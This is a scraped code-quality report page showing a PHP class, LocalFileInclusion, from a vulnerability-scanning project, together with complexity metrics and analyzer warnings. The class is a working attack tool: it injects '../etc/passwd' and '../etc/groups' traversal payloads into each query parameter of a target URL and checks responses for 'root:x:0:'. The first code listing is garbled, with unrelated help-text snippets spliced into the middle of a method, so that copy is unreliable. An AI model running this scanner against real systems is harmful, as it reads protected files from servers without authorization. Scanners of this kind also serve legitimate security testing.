LocalFileInclusion::verify() - Code Metrics - aszone/vulnerabilities - Measure and Improve Code Quality continuously with Scrutinizer

LocalFileInclusion::verify() A
last analyzed 2016-11-02 14:18 UTC

↳ Parent: LocalFileInclusion

Complexity

Conditions	3
Paths	3

Size

Total Lines	15
Code Lines	8

Duplication

Lines	15
Ratio	100 %

Importance

Changes

Metric	Value
c	0
b	0
f	0
dl	15
loc	15
rs	9.4285
cc	3
eloc	8
nc	3
nop	1

<?php

namespace Aszone\Vulnerabilities;

use GuzzleHttp\ClientInterface;
use Psr\Log\LoggerInterface;
use Aszone\Vulnerabilities\Log\Logger;

class LocalFileInclusion implements VulnerabilityScanner
{
    const EXPLOIT1 = '../etc/passwd';
    const EXPLOIT2 = '../etc/groups';
    const EXPLOIT1REGEX = 'root:x:0:';
    const EXPLOIT2REGEX = 'root:x:0:';

    private $client;

    private $logger;

    public function __construct(ClientInterface $client, LoggerInterface $logger = null)

    {
        $this->client = $client;

        if (empty($logger)) {
            $logger = new Logger;
        }

        $this->logger = $logger;
    }

    public function isVulnerable($target)
    {
        if ($this->isLfiPossible($target)) {
            return $this->verify($target);
        }

        return false;
    }

    public function isLfiPossible($target)
    {
        return (bool) preg_match("/\?|(.+?)\=/", $target);
    }

    protected function verify($target)

    {
        $urls = $this->generateUrls($target);
        $this->logger->info('\n');

        foreach ($urls as $url) {
            if ($this->attack($url)) {
                $this->logger->info('Is Vull');

                return $url;
            }
        }

        return false;
    }

    protected function attack($url)

    {
        $this->logger->info('.');

        try {
            $body = $this->client->get($url)->getBody()->getContents();

            if ($body
                && $this->checkSuccess($body)
            ) {
                return $url;
            }
        } catch (\Exception $e) {
            $this->logger->error('#');
        }

        return false;
    }

    protected function checkSuccess($body)
    {
        return preg_match('/'.static::EXPLOIT1REGEX.'|'.static::EXPLOIT2REGEX.'/', $body);
    }

    public function generateUrls($target)

    {
        $this->logger->info('.\n'.$target);

        $urls1 = $this->generateUrlsByExploit($target, static::EXPLOIT1);
        $urls2 = $this->generateUrlsByExploit($target, static::EXPLOIT2);

        return array_merge($urls1, $urls2);
    }

    protected function generateUrlsByExploit($target, $exploit)
    {
        $explodeUrl = parse_url($target);
        $explodeQuery = explode('&', $explodeUrl['query']);

        foreach ($explodeQuery as $keyQuery => $query) {

            $explodeQueryEqual = explode('=', $query);
            $wordsValue[$explodeQueryEqual[0]] = $explodeQueryEqual[1];
foreach ($collection as $item) {
    $myArray['foo'] = $item->getFoo();

    if ($item->hasBar()) {
        $myArray['bar'] = $item->getBar();
    }

    // do something with $myArray
}
        }

        foreach ($wordsValue as $keyValue => $value) {
function myFunction($a) {
    switch ($a) {
        case 'foo':
            $x = 1;
            break;

        case 'bar':
            $x = 2;
            break;
    }

    // $x is potentially undefined here.
    echo $x;
}
            $urls[] = str_replace($keyValue.'='.$value, $keyValue.'=??????????', $target);
foreach ($collection as $item) {
    $myArray['foo'] = $item->getFoo();

    if ($item->hasBar()) {
        $myArray['bar'] = $item->getBar();
    }

    // do something with $myArray
}
        }

        $urlFinal = [];
        foreach ($urls as $url) {
function myFunction($a) {
    switch ($a) {
        case 'foo':
            $x = 1;
            break;

        case 'bar':
            $x = 2;
            break;
    }

    // $x is potentially undefined here.
    echo $x;
}
            $urlFinal[] = str_replace('??????????', $exploit, $url);
            $breakFolder = '../';

            for ($i = 0; $i < 10; ++$i) {
                $urlFinal[] = str_replace('??????????', $breakFolder.$exploit, $url);
                $breakFolder .= '../';
            }
        }

        return $urlFinal;
    }



}


1		<?php
2
3		namespace Aszone\Vulnerabilities;
4
5		use GuzzleHttp\ClientInterface;
6		use Psr\Log\LoggerInterface;
7		use Aszone\Vulnerabilities\Log\Logger;
8
9		class LocalFileInclusion implements VulnerabilityScanner
10		{
11		const EXPLOIT1 = '../etc/passwd';
12		const EXPLOIT2 = '../etc/groups';
13		const EXPLOIT1REGEX = 'root:x:0:';
14		const EXPLOIT2REGEX = 'root:x:0:';
15
16		private $client;
17
18		private $logger;
19
20	View Code Duplication	public function __construct(ClientInterface $client, LoggerInterface $logger = null)
		0 ignored issues – show Duplication introduced 2016-10-30 20:07 UTC by Report Bug Copy Issue Report This method seems to be duplicated in your project. Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository. Loading history...
21		{
22		$this->client = $client;
23
24		if (empty($logger)) {
25		$logger = new Logger;
26		}
27
28		$this->logger = $logger;
29		}
30
31		public function isVulnerable($target)
32		{
33		if ($this->isLfiPossible($target)) {
34		return $this->verify($target);
35		}
36
37		return false;
38		}
39
40		public function isLfiPossible($target)
41		{
42		return (bool) preg_match("/\?\|(.+?)\=/", $target);
43		}
44
45	View Code Duplication	protected function verify($target)
		0 ignored issues – show Duplication introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report This method seems to be duplicated in your project. Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository. Loading history...
46		{
47		$urls = $this->generateUrls($target);
48		$this->logger->info('\n');
49
50		foreach ($urls as $url) {
51		if ($this->attack($url)) {
52		$this->logger->info('Is Vull');
53
54		return $url;
55		}
56		}
57
58		return false;
59		}
60
61	View Code Duplication	protected function attack($url)
		0 ignored issues – show Duplication introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report This method seems to be duplicated in your project. Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository. Loading history...
62		{
63		$this->logger->info('.');
64
65		try {
66		$body = $this->client->get($url)->getBody()->getContents();
67
68		if ($body
69		&& $this->checkSuccess($body)
70		) {
71		return $url;
72		}
73		} catch (\Exception $e) {
74		$this->logger->error('#');
75		}
76
77		return false;
78		}
79
80		protected function checkSuccess($body)
81		{
82		return preg_match('/'.static::EXPLOIT1REGEX.'\|'.static::EXPLOIT2REGEX.'/', $body);
83		}
84
85	View Code Duplication	public function generateUrls($target)
		0 ignored issues – show Duplication introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report This method seems to be duplicated in your project. Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository. Loading history...
86		{
87		$this->logger->info('.\n'.$target);
88
89		$urls1 = $this->generateUrlsByExploit($target, static::EXPLOIT1);
90		$urls2 = $this->generateUrlsByExploit($target, static::EXPLOIT2);
91
92		return array_merge($urls1, $urls2);
93		}
94
95		protected function generateUrlsByExploit($target, $exploit)
96		{
97		$explodeUrl = parse_url($target);
98		$explodeQuery = explode('&', $explodeUrl['query']);
99
100	View Code Duplication	foreach ($explodeQuery as $keyQuery => $query) {
		0 ignored issues – show Duplication introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report This code seems to be duplicated across your project. Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository. Loading history...
101		$explodeQueryEqual = explode('=', $query);
102		$wordsValue[$explodeQueryEqual[0]] = $explodeQueryEqual[1];
		0 ignored issues – show Coding Style Comprehensibility introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report `$wordsValue` was never initialized. Although not strictly required by PHP, it is generally a good practice to add `$wordsValue = array();` before regardless. Adding an explicit array definition is generally preferable to implicit array definition as it guarantees a stable state of the code. Let’s take a look at an example: foreach ($collection as $item) { $myArray['foo'] = $item->getFoo(); if ($item->hasBar()) { $myArray['bar'] = $item->getBar(); } // do something with $myArray } As you can see in this example, the array `$myArray` is initialized the first time when the foreach loop is entered. You can also see that the value of the `bar` key is only written conditionally; thus, its value might result from a previous iteration. This might or might not be intended. To make your intention clear, your code more readible and to avoid accidental bugs, we recommend to add an explicit initialization `$myArray = array()` either outside or inside the foreach loop. Loading history...
103		}
104
105	View Code Duplication	foreach ($wordsValue as $keyValue => $value) {
		0 ignored issues – show Bug introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report The variable `$wordsValue` does not seem to be defined for all execution paths leading up to this point. If you define a variable conditionally, it can happen that it is not defined for all execution paths. Let’s take a look at an example: function myFunction($a) { switch ($a) { case 'foo': $x = 1; break; case 'bar': $x = 2; break; } // $x is potentially undefined here. echo $x; } In the above example, the variable `$x` is defined if you pass “foo” or “bar” as argument for `$a`. However, since the `switch` statement has no default case statement, if you pass any other value, the variable `$x` would be undefined. Available Fixes Check for existence of the variable explicitly: function myFunction($a) { switch ($a) { case 'foo': $x = 1; break; case 'bar': $x = 2; break; } if (isset($x)) { // Make sure it's always set. echo $x; } } Define a default value for the variable: function myFunction($a) { $x = ''; // Set a default which gets overridden for certain paths. switch ($a) { case 'foo': $x = 1; break; case 'bar': $x = 2; break; } echo $x; } Add a value for the missing path: function myFunction($a) { switch ($a) { case 'foo': $x = 1; break; case 'bar': $x = 2; break; // We add support for the missing case. default: $x = ''; break; } echo $x; } Loading history... Duplication introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report This code seems to be duplicated across your project. Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository. Loading history...
106		$urls[] = str_replace($keyValue.'='.$value, $keyValue.'=??????????', $target);
		0 ignored issues – show Coding Style Comprehensibility introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report `$urls` was never initialized. Although not strictly required by PHP, it is generally a good practice to add `$urls = array();` before regardless. Adding an explicit array definition is generally preferable to implicit array definition as it guarantees a stable state of the code. Let’s take a look at an example: foreach ($collection as $item) { $myArray['foo'] = $item->getFoo(); if ($item->hasBar()) { $myArray['bar'] = $item->getBar(); } // do something with $myArray } As you can see in this example, the array `$myArray` is initialized the first time when the foreach loop is entered. You can also see that the value of the `bar` key is only written conditionally; thus, its value might result from a previous iteration. This might or might not be intended. To make your intention clear, your code more readible and to avoid accidental bugs, we recommend to add an explicit initialization `$myArray = array()` either outside or inside the foreach loop. Loading history...
107		}
108
109		$urlFinal = [];
110	View Code Duplication	foreach ($urls as $url) {
		0 ignored issues – show Bug introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report The variable `$urls` does not seem to be defined for all execution paths leading up to this point. If you define a variable conditionally, it can happen that it is not defined for all execution paths. Let’s take a look at an example: function myFunction($a) { switch ($a) { case 'foo': $x = 1; break; case 'bar': $x = 2; break; } // $x is potentially undefined here. echo $x; } In the above example, the variable `$x` is defined if you pass “foo” or “bar” as argument for `$a`. However, since the `switch` statement has no default case statement, if you pass any other value, the variable `$x` would be undefined. Available Fixes Check for existence of the variable explicitly: function myFunction($a) { switch ($a) { case 'foo': $x = 1; break; case 'bar': $x = 2; break; } if (isset($x)) { // Make sure it's always set. echo $x; } } Define a default value for the variable: function myFunction($a) { $x = ''; // Set a default which gets overridden for certain paths. switch ($a) { case 'foo': $x = 1; break; case 'bar': $x = 2; break; } echo $x; } Add a value for the missing path: function myFunction($a) { switch ($a) { case 'foo': $x = 1; break; case 'bar': $x = 2; break; // We add support for the missing case. default: $x = ''; break; } echo $x; } Loading history... Duplication introduced 2016-10-19 12:59 UTC by Report Bug Copy Issue Report This code seems to be duplicated across your project. Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository. Loading history...
111		$urlFinal[] = str_replace('??????????', $exploit, $url);
112		$breakFolder = '../';
113
114		for ($i = 0; $i < 10; ++$i) {
115		$urlFinal[] = str_replace('??????????', $breakFolder.$exploit, $url);
116		$breakFolder .= '../';
117		}
118		}
119
120		return $urlFinal;
121		}
122
123
124
125		}
126

aszone / vulnerabilities

LocalFileInclusion::verify() A last analyzed 2016-11-02 14:18 UTC

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Available Fixes

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LocalFileInclusion::verify() A
last analyzed 2016-11-02 14:18 UTC